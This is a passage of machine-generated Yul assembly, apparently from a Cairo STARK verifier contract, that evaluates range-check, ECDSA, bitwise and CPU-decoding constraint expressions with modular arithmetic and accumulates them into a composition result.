sub(PRIME, /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x2e80)),
PRIME)
mstore(0x2ea0, val)
}
{
// rc_builtin/value0_0 = column5_row12.
let val := /*column5_row12*/ mload(0x2240)
mstore(0x2ec0, val)
}
{
// rc_builtin/value1_0 = rc_builtin__value0_0 * offset_size + column5_row28.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value0_0*/ mload(0x2ec0),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row28*/ mload(0x22a0),
PRIME)
mstore(0x2ee0, val)
}
{
// rc_builtin/value2_0 = rc_builtin__value1_0 * offset_size + column5_row44.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value1_0*/ mload(0x2ee0),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row44*/ mload(0x22c0),
PRIME)
mstore(0x2f00, val)
}
{
// rc_builtin/value3_0 = rc_builtin__value2_0 * offset_size + column5_row60.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value2_0*/ mload(0x2f00),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row60*/ mload(0x22e0),
PRIME)
mstore(0x2f20, val)
}
{
// rc_builtin/value4_0 = rc_builtin__value3_0 * offset_size + column5_row76.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value3_0*/ mload(0x2f20),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row76*/ mload(0x2300),
PRIME)
mstore(0x2f40, val)
}
{
// rc_builtin/value5_0 = rc_builtin__value4_0 * offset_size + column5_row92.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value4_0*/ mload(0x2f40),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row92*/ mload(0x2320),
PRIME)
mstore(0x2f60, val)
}
{
// rc_builtin/value6_0 = rc_builtin__value5_0 * offset_size + column5_row108.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value5_0*/ mload(0x2f60),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row108*/ mload(0x2340),
PRIME)
mstore(0x2f80, val)
}
{
// rc_builtin/value7_0 = rc_builtin__value6_0 * offset_size + column5_row124.
let val := addmod(
mulmod(
/*intermediate_value/rc_builtin/value6_0*/ mload(0x2f80),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row124*/ mload(0x2360),
PRIME)
mstore(0x2fa0, val)
}
{
// ecdsa/signature0/doubling_key/x_squared = column6_row6 * column6_row6.
let val := mulmod(/*column6_row6*/ mload(0x25c0), /*column6_row6*/ mload(0x25c0), PRIME)
mstore(0x2fc0, val)
}
{
// ecdsa/signature0/exponentiate_generator/bit_0 = column6_row53 - (column6_row117 + column6_row117).
let val := addmod(
/*column6_row53*/ mload(0x2820),
sub(
PRIME,
addmod(/*column6_row117*/ mload(0x28c0), /*column6_row117*/ mload(0x28c0), PRIME)),
PRIME)
mstore(0x2fe0, val)
}
{
// ecdsa/signature0/exponentiate_generator/bit_neg_0 = 1 - ecdsa__signature0__exponentiate_generator__bit_0.
let val := addmod(
1,
sub(
PRIME,
/*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x2fe0)),
PRIME)
mstore(0x3000, val)
}
{
// ecdsa/signature0/exponentiate_key/bit_0 = column6_row9 - (column6_row41 + column6_row41).
let val := addmod(
/*column6_row9*/ mload(0x2600),
sub(
PRIME,
addmod(/*column6_row41*/ mload(0x27e0), /*column6_row41*/ mload(0x27e0), PRIME)),
PRIME)
mstore(0x3020, val)
}
{
// ecdsa/signature0/exponentiate_key/bit_neg_0 = 1 - ecdsa__signature0__exponentiate_key__bit_0.
let val := addmod(
1,
sub(
PRIME,
/*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x3020)),
PRIME)
mstore(0x3040, val)
}
{
// bitwise/sum_var_0_0 = column1_row0 + column1_row2 * 2 + column1_row4 * 4 + column1_row6 * 8 + column1_row8 * 18446744073709551616 + column1_row10 * 36893488147419103232 + column1_row12 * 73786976294838206464 + column1_row14 * 147573952589676412928.
let val := addmod(
addmod(
addmod(
addmod(
addmod(
addmod(
addmod(
/*column1_row0*/ mload(0x1800),
mulmod(/*column1_row2*/ mload(0x1840), 2, PRIME),
PRIME),
mulmod(/*column1_row4*/ mload(0x1860), 4, PRIME),
PRIME),
mulmod(/*column1_row6*/ mload(0x1880), 8, PRIME),
PRIME),
mulmod(/*column1_row8*/ mload(0x18a0), 18446744073709551616, PRIME),
PRIME),
mulmod(/*column1_row10*/ mload(0x18c0), 36893488147419103232, PRIME),
PRIME),
mulmod(/*column1_row12*/ mload(0x18e0), 73786976294838206464, PRIME),
PRIME),
mulmod(/*column1_row14*/ mload(0x1900), 147573952589676412928, PRIME),
PRIME)
mstore(0x3060, val)
}
{
// bitwise/sum_var_8_0 = column1_row16 * 340282366920938463463374607431768211456 + column1_row18 * 680564733841876926926749214863536422912 + column1_row20 * 1361129467683753853853498429727072845824 + column1_row22 * 2722258935367507707706996859454145691648 + column1_row24 * 6277101735386680763835789423207666416102355444464034512896 + column1_row26 * 12554203470773361527671578846415332832204710888928069025792 + column1_row28 * 25108406941546723055343157692830665664409421777856138051584 + column1_row30 * 50216813883093446110686315385661331328818843555712276103168.
let val := addmod(
addmod(
addmod(
addmod(
addmod(
addmod(
addmod(
mulmod(/*column1_row16*/ mload(0x1920), 340282366920938463463374607431768211456, PRIME),
mulmod(/*column1_row18*/ mload(0x1940), 680564733841876926926749214863536422912, PRIME),
PRIME),
mulmod(/*column1_row20*/ mload(0x1960), 1361129467683753853853498429727072845824, PRIME),
PRIME),
mulmod(/*column1_row22*/ mload(0x1980), 2722258935367507707706996859454145691648, PRIME),
PRIME),
mulmod(
/*column1_row24*/ mload(0x19a0),
6277101735386680763835789423207666416102355444464034512896,
PRIME),
PRIME),
mulmod(
/*column1_row26*/ mload(0x19c0),
12554203470773361527671578846415332832204710888928069025792,
PRIME),
PRIME),
mulmod(
/*column1_row28*/ mload(0x19e0),
25108406941546723055343157692830665664409421777856138051584,
PRIME),
PRIME),
mulmod(
/*column1_row30*/ mload(0x1a00),
50216813883093446110686315385661331328818843555712276103168,
PRIME),
PRIME)
mstore(0x3080, val)
}
{
// Constraint expression for cpu/decode/opcode_rc/bit: cpu__decode__opcode_rc__bit_0 * cpu__decode__opcode_rc__bit_0 - cpu__decode__opcode_rc__bit_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0)),
PRIME)
// Numerator: point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
// val *= numerators[0].
val := mulmod(val, mload(0x3be0), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x35a0), PRIME)
// res += val * coefficients[0].
res := addmod(res,
mulmod(val, /*coefficients[0]*/ mload(0x540), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/opcode_rc/zero: column0_row0.
let val := /*column0_row0*/ mload(0x1600)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - trace_generator^(15 * trace_length / 16).
// val *= denominator_invs[1].
val := mulmod(val, mload(0x35c0), PRIME)
// res += val * coefficients[1].
res := addmod(res,
mulmod(val, /*coefficients[1]*/ mload(0x560), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/opcode_rc_input: column3_row1 - (((column0_row0 * offset_size + column5_row4) * offset_size + column5_row8) * offset_size + column5_row0).
let val := addmod(
/*column3_row1*/ mload(0x1c40),
sub(
PRIME,
addmod(
mulmod(
addmod(
mulmod(
addmod(
mulmod(/*column0_row0*/ mload(0x1600), /*offset_size*/ mload(0xa0), PRIME),
/*column5_row4*/ mload(0x2180),
PRIME),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row8*/ mload(0x2200),
PRIME),
/*offset_size*/ mload(0xa0),
PRIME),
/*column5_row0*/ mload(0x2100),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[2].
res := addmod(res,
mulmod(val, /*coefficients[2]*/ mload(0x580), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/flag_op1_base_op0_bit: cpu__decode__flag_op1_base_op0_0 * cpu__decode__flag_op1_base_op0_0 - cpu__decode__flag_op1_base_op0_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x2c40),
/*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x2c40),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x2c40)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[3].
res := addmod(res,
mulmod(val, /*coefficients[3]*/ mload(0x5a0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/flag_res_op1_bit: cpu__decode__flag_res_op1_0 * cpu__decode__flag_res_op1_0 - cpu__decode__flag_res_op1_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0),
/*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[4].
res := addmod(res,
mulmod(val, /*coefficients[4]*/ mload(0x5c0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/flag_pc_update_regular_bit: cpu__decode__flag_pc_update_regular_0 * cpu__decode__flag_pc_update_regular_0 - cpu__decode__flag_pc_update_regular_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x2d20),
/*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x2d20),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x2d20)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[5].
res := addmod(res,
mulmod(val, /*coefficients[5]*/ mload(0x5e0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/decode/fp_update_regular_bit: cpu__decode__fp_update_regular_0 * cpu__decode__fp_update_regular_0 - cpu__decode__fp_update_regular_0.
let val := addmod(
mulmod(
/*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x2d80),
/*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x2d80),
PRIME),
sub(PRIME, /*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x2d80)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[6].
res := addmod(res,
mulmod(val, /*coefficients[6]*/ mload(0x600), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem_dst_addr: column3_row8 + half_offset_size - (cpu__decode__opcode_rc__bit_0 * column6_row8 + (1 - cpu__decode__opcode_rc__bit_0) * column6_row0 + column5_row0).
let val := addmod(
addmod(/*column3_row8*/ mload(0x1ce0), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
/*column6_row8*/ mload(0x25e0),
PRIME),
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0)),
PRIME),
/*column6_row0*/ mload(0x2520),
PRIME),
PRIME),
/*column5_row0*/ mload(0x2100),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[7].
res := addmod(res,
mulmod(val, /*coefficients[7]*/ mload(0x620), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem0_addr: column3_row4 + half_offset_size - (cpu__decode__opcode_rc__bit_1 * column6_row8 + (1 - cpu__decode__opcode_rc__bit_1) * column6_row0 + column5_row8).
let val := addmod(
addmod(/*column3_row4*/ mload(0x1ca0), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x2da0),
/*column6_row8*/ mload(0x25e0),
PRIME),
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x2da0)),
PRIME),
/*column6_row0*/ mload(0x2520),
PRIME),
PRIME),
/*column5_row8*/ mload(0x2200),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[8].
res := addmod(res,
mulmod(val, /*coefficients[8]*/ mload(0x640), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/mem1_addr: column3_row12 + half_offset_size - (cpu__decode__opcode_rc__bit_2 * column3_row0 + cpu__decode__opcode_rc__bit_4 * column6_row0 + cpu__decode__opcode_rc__bit_3 * column6_row8 + cpu__decode__flag_op1_base_op0_0 * column3_row5 + column5_row4).
let val := addmod(
addmod(/*column3_row12*/ mload(0x1d60), /*half_offset_size*/ mload(0xc0), PRIME),
sub(
PRIME,
addmod(
addmod(
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x2be0),
/*column3_row0*/ mload(0x1c20),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_4*/ mload(0x2c00),
/*column6_row0*/ mload(0x2520),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x2c20),
/*column6_row8*/ mload(0x25e0),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x2c40),
/*column3_row5*/ mload(0x1cc0),
PRIME),
PRIME),
/*column5_row4*/ mload(0x2180),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[9].
res := addmod(res,
mulmod(val, /*coefficients[9]*/ mload(0x660), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/ops_mul: column6_row4 - column3_row5 * column3_row13.
let val := addmod(
/*column6_row4*/ mload(0x2580),
sub(
PRIME,
mulmod(/*column3_row5*/ mload(0x1cc0), /*column3_row13*/ mload(0x1d80), PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[10].
res := addmod(res,
mulmod(val, /*coefficients[10]*/ mload(0x680), PRIME),
PRIME)
}
{
// Constraint expression for cpu/operands/res: (1 - cpu__decode__opcode_rc__bit_9) * column6_row12 - (cpu__decode__opcode_rc__bit_5 * (column3_row5 + column3_row13) + cpu__decode__opcode_rc__bit_6 * column6_row4 + cpu__decode__flag_res_op1_0 * column3_row13).
let val := addmod(
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0)),
PRIME),
/*column6_row12*/ mload(0x2640),
PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_5*/ mload(0x2c60),
addmod(/*column3_row5*/ mload(0x1cc0), /*column3_row13*/ mload(0x1d80), PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_6*/ mload(0x2c80),
/*column6_row4*/ mload(0x2580),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x2cc0),
/*column3_row13*/ mload(0x1d80),
PRIME),
PRIME)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[11].
res := addmod(res,
mulmod(val, /*coefficients[11]*/ mload(0x6a0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/tmp0: column6_row2 - cpu__decode__opcode_rc__bit_9 * column3_row9.
let val := addmod(
/*column6_row2*/ mload(0x2560),
sub(
PRIME,
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0),
/*column3_row9*/ mload(0x1d00),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[12].
res := addmod(res,
mulmod(val, /*coefficients[12]*/ mload(0x6c0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/tmp1: column6_row10 - column6_row2 * column6_row12.
let val := addmod(
/*column6_row10*/ mload(0x2620),
sub(
PRIME,
mulmod(/*column6_row2*/ mload(0x2560), /*column6_row12*/ mload(0x2640), PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[13].
res := addmod(res,
mulmod(val, /*coefficients[13]*/ mload(0x6e0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/pc_cond_negative: (1 - cpu__decode__opcode_rc__bit_9) * column3_row16 + column6_row2 * (column3_row16 - (column3_row0 + column3_row13)) - (cpu__decode__flag_pc_update_regular_0 * npc_reg_0 + cpu__decode__opcode_rc__bit_7 * column6_row12 + cpu__decode__opcode_rc__bit_8 * (column3_row0 + column6_row12)).
let val := addmod(
addmod(
mulmod(
addmod(
1,
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0)),
PRIME),
/*column3_row16*/ mload(0x1da0),
PRIME),
mulmod(
/*column6_row2*/ mload(0x2560),
addmod(
/*column3_row16*/ mload(0x1da0),
sub(
PRIME,
addmod(/*column3_row0*/ mload(0x1c20), /*column3_row13*/ mload(0x1d80), PRIME)),
PRIME),
PRIME),
PRIME),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x2d20),
/*intermediate_value/npc_reg_0*/ mload(0x2dc0),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x2ce0),
/*column6_row12*/ mload(0x2640),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_8*/ mload(0x2d00),
addmod(/*column3_row0*/ mload(0x1c20), /*column6_row12*/ mload(0x2640), PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[14].
res := addmod(res,
mulmod(val, /*coefficients[14]*/ mload(0x700), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_pc/pc_cond_positive: (column6_row10 - cpu__decode__opcode_rc__bit_9) * (column3_row16 - npc_reg_0).
let val := mulmod(
addmod(
/*column6_row10*/ mload(0x2620),
sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x2ca0)),
PRIME),
addmod(
/*column3_row16*/ mload(0x1da0),
sub(PRIME, /*intermediate_value/npc_reg_0*/ mload(0x2dc0)),
PRIME),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[15].
res := addmod(res,
mulmod(val, /*coefficients[15]*/ mload(0x720), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_ap/ap_update: column6_row16 - (column6_row0 + cpu__decode__opcode_rc__bit_10 * column6_row12 + cpu__decode__opcode_rc__bit_11 + cpu__decode__opcode_rc__bit_12 * 2).
let val := addmod(
/*column6_row16*/ mload(0x26a0),
sub(
PRIME,
addmod(
addmod(
addmod(
/*column6_row0*/ mload(0x2520),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_10*/ mload(0x2de0),
/*column6_row12*/ mload(0x2640),
PRIME),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_11*/ mload(0x2e00),
PRIME),
mulmod(/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40), 2, PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[16].
res := addmod(res,
mulmod(val, /*coefficients[16]*/ mload(0x740), PRIME),
PRIME)
}
{
// Constraint expression for cpu/update_registers/update_fp/fp_update: column6_row24 - (cpu__decode__fp_update_regular_0 * column6_row8 + cpu__decode__opcode_rc__bit_13 * column3_row9 + cpu__decode__opcode_rc__bit_12 * (column6_row0 + 2)).
let val := addmod(
/*column6_row24*/ mload(0x2720),
sub(
PRIME,
addmod(
addmod(
mulmod(
/*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x2d80),
/*column6_row8*/ mload(0x25e0),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
/*column3_row9*/ mload(0x1d00),
PRIME),
PRIME),
mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(/*column6_row0*/ mload(0x2520), 2, PRIME),
PRIME),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)).
// val *= numerators[1].
val := mulmod(val, mload(0x3c00), PRIME)
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[17].
res := addmod(res,
mulmod(val, /*coefficients[17]*/ mload(0x760), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/push_fp: cpu__decode__opcode_rc__bit_12 * (column3_row9 - column6_row8).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(/*column3_row9*/ mload(0x1d00), sub(PRIME, /*column6_row8*/ mload(0x25e0)), PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[18].
res := addmod(res,
mulmod(val, /*coefficients[18]*/ mload(0x780), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/push_pc: cpu__decode__opcode_rc__bit_12 * (column3_row5 - (column3_row0 + cpu__decode__opcode_rc__bit_2 + 1)).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(
/*column3_row5*/ mload(0x1cc0),
sub(
PRIME,
addmod(
addmod(
/*column3_row0*/ mload(0x1c20),
/*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x2be0),
PRIME),
1,
PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[19].
res := addmod(res,
mulmod(val, /*coefficients[19]*/ mload(0x7a0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/off0: cpu__decode__opcode_rc__bit_12 * (column5_row0 - half_offset_size).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(/*column5_row0*/ mload(0x2100), sub(PRIME, /*half_offset_size*/ mload(0xc0)), PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[20].
res := addmod(res,
mulmod(val, /*coefficients[20]*/ mload(0x7c0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/off1: cpu__decode__opcode_rc__bit_12 * (column5_row8 - (half_offset_size + 1)).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(
/*column5_row8*/ mload(0x2200),
sub(PRIME, addmod(/*half_offset_size*/ mload(0xc0), 1, PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[21].
res := addmod(res,
mulmod(val, /*coefficients[21]*/ mload(0x7e0), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/call/flags: cpu__decode__opcode_rc__bit_12 * (cpu__decode__opcode_rc__bit_12 + cpu__decode__opcode_rc__bit_12 + 1 + 1 - (cpu__decode__opcode_rc__bit_0 + cpu__decode__opcode_rc__bit_1 + 4)).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
addmod(
addmod(
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x2d40),
PRIME),
1,
PRIME),
1,
PRIME),
sub(
PRIME,
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
/*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x2da0),
PRIME),
4,
PRIME)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[22].
res := addmod(res,
mulmod(val, /*coefficients[22]*/ mload(0x800), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/ret/off0: cpu__decode__opcode_rc__bit_13 * (column5_row0 + 2 - half_offset_size).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
addmod(
addmod(/*column5_row0*/ mload(0x2100), 2, PRIME),
sub(PRIME, /*half_offset_size*/ mload(0xc0)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[23].
res := addmod(res,
mulmod(val, /*coefficients[23]*/ mload(0x820), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/ret/off2: cpu__decode__opcode_rc__bit_13 * (column5_row4 + 1 - half_offset_size).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
addmod(
addmod(/*column5_row4*/ mload(0x2180), 1, PRIME),
sub(PRIME, /*half_offset_size*/ mload(0xc0)),
PRIME),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 16) - 1.
// val *= denominator_invs[2].
val := mulmod(val, mload(0x35e0), PRIME)
// res += val * coefficients[24].
res := addmod(res,
mulmod(val, /*coefficients[24]*/ mload(0x840), PRIME),
PRIME)
}
{
// Constraint expression for cpu/opcodes/ret/flags: cpu__decode__opcode_rc__bit_13 * (cpu__decode__opcode_rc__bit_7 + cpu__decode__opcode_rc__bit_0 + cpu__decode__opcode_rc__bit_3 + cpu__decode__flag_res_op1_0 - 4).
let val := mulmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x2d60),
addmod(
addmod(
addmod(
addmod(
/*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x2ce0),
/*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x2bc0),
PRIME),
/*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x2c20),
PRIME),
